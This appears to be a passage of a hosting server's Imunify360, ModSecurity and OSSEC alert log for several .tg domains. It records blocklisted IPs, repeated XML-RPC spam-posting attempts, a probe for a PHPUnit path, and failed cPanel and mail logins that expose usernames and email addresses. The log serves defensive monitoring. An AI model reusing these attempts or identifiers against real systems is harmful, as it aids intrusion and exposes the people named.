IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30be1c6c9e2570f574ab3d8516ac71feaf629c1b||Title:d40561h2n18xt2f978||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:11:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055323&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975459 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:11:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9880168&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975458 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.119.40.135
country_id: 294640
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.212.119.40.135||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.101.67.253
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.192.101.67.253||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.163.92.51
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.193.163.92.51||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.14.226
country_id: 241170
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.31.134.14.226||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:47bef74c59a0388a077c19b7c9b4b98589207ed4||Title:xekm2qd9us9h6h||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316904
name: IM360 WAF: Track IP which is in the web-spammers RBL
abuser: 31.134.12.91
country_id: 241170
domain: cloud-et-racks.tg
description:
IM360 WAF: Track IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.31.134.12.91||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.9.31
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.45.147.9.31||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.142.55.155
country_id: 732800
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2d305c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ed2e3c05e665f39495e6468ce2e314b5fbd1a38||Title:s1nzak5bi4xjf1cao5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:12:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9540454&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975537 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:12:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936229&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975539 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e37aacfda55c902d555fdd7e206578a52773156f||Title:j3n8sjaoexve8elkr||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-20 17:11:33 +0000] info [cpaneld] 103.253.27.219 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b85b8a58208253e24cdb31f37ce6eb4504069aab||Title:ub20iq0bipmlmjquoz||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c01e35c4344fe702bd90d3ee3170bcc3fd14da1e||Title:ily7v69n0o4r9zimk||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8483ee327bcbe26115ed560a46bbde1de7b2a880||Title:67uexdd4knxs9gl||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0ff6eea1267a5e5bff01f7a38ed7831a360d7f4||Title:aocfc968plqgzfc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6d6c0fff6df65141668da618ad301ce4c01c3d55||Title:dttymnmmeq731d6v8d||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-13.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.199
country_id: 3469034
description:
Jun 20 17:13:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0cc18d2e75ff038afd88caf493da379af228373d||Title:3fdpw48tlbeiym43||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bdc8cd2f7ef005e965eec1fefd1b415f7692d9e2||Title:2tk71i244diu3gt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec56df9290db2c77220634e4878ddaa4958487f5||Title:w4ytfijzs155oz||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70341.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0c479864687f1a63e8cb9bb48d7c552ae398c81b||Title:0x4442e5c3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b33feac9d80080d0bf430b8a267d5b9e71460fd||Title:vrxe0ea4b4hya4||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.130
country_id: 2395170
description:
Jun 20 17:16:11 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-17.176.97.79.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4dc029f7c2f976cac2938c33649217bba88809e0||Title:0x8f2c8dc4||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b32b806932b10e2f55bdf7cf988f5bbd9d28685f||Title:0xc676cd0e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32a92a5f9f212c23d67d77eb2c771a7bfa3dce8c||Title:0xadb1bdbc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f3d65f264c0a1dc3667742b4195250c7a17ffe2||Title:0x628495e3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-21.176.97.79.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5e6fcd64f00d5a2f959ff0a32c8133c88a530f7e||Title:0xd6b5fd99||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:202b7848b2cd0b5dd4f669dafaaea7d2b2fde624||Title:0xc92ab31f||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8afd03febcae69683de39c91954bb15550f0e160||Title:0xc40985be||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.205.229
country_id: 3469034
description:
Jun 20 17:22:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.205.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00ccc3ff6924601d6eb530939672cc1b28cdb14b||Title:0x341efe04||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:23:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:23:35 +0000] info [cpaneld] 102.54.238.57 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:23:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31d7423dbeb84f4d3d30a7ba7c6ffa85912783c1||Title:0x34116c12||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.100.167
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/dragage-du-port-de-bissau-un-tournant-economique-majeur/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.100.167
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dragage-du-port-de-bissau-un-tournant-economique-majeur/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:26:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935717&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:26:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080778&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:baf98b987d000b4ee20976318ea9164beeaab7e3||Title:0xfdb8cf9e||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.129
country_id: 3175395
description:
Jun 20 17:27:27 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:106ef72fb31db6a33c57aeb385380290a33e259f||Title:0xa746df6c||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381925&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976413 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884380&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976413 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.129
country_id: 3175395
description:
Jun 20 17:27:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:27a147f4d15da957f022eb9f8e3cddd5102a4a5e||Title:0xa971dc64||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c38d8bda223f2114857735419d198493efbd53e7||Title:0x4270ae00||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 68.210.184.44
country_id: 2782113
domain: clinique-ccl.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:udxjqqmt||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d9a90904e9c9236c686ba5ebf950d85c86281165||Title:0x8b13c8ea||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4758ca50cf013d21d904e330c87d12168f9386f0||Title:0xa5135efa||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2c67625b7f502a0ce9df475082a544d4a7ebafeb||Title:0x57a85bcf||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.128.35
country_id: 732800
description:
Jun 20 17:33:06 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.128.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.4.22
country_id: 2017370
description:
2026-06-20 17:33:18 dovecot_login authenticator failed for H=([118.250.183.25]) [31.173.4.22]:36306: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:783ab34e70a4b0febc119648222bddaf300f52cb||Title:0x4fd280eb||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-32.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.224.22
country_id: 1562822
description:
2026-06-20 17:34:06 dovecot_plain authenticator failed for H=(wpvcofamviqtutu7415szce66) [103.90.224.22]:36242: 535 Incorrect authentication data (set_id=alfred.aguim@emt.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23a9fb6a12a456c9148cc06eb0e6a0c164a814d1||Title:0x102aa9c0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:024391db20fdb2ee32b81f1b3fe652316e631164||Title:0x100f8e10||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-35.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:35:33 +0000] info [cpaneld] 102.54.238.57 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:838871e0256d91170a5629cfbc3b868c966ea5da||Title:0x1127d790||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:11adbea6804e5cb05b46410405dcc1858df08dde||Title:0xcbbb485e||RSV:8.19||T:APACHE||


plugin: modsec
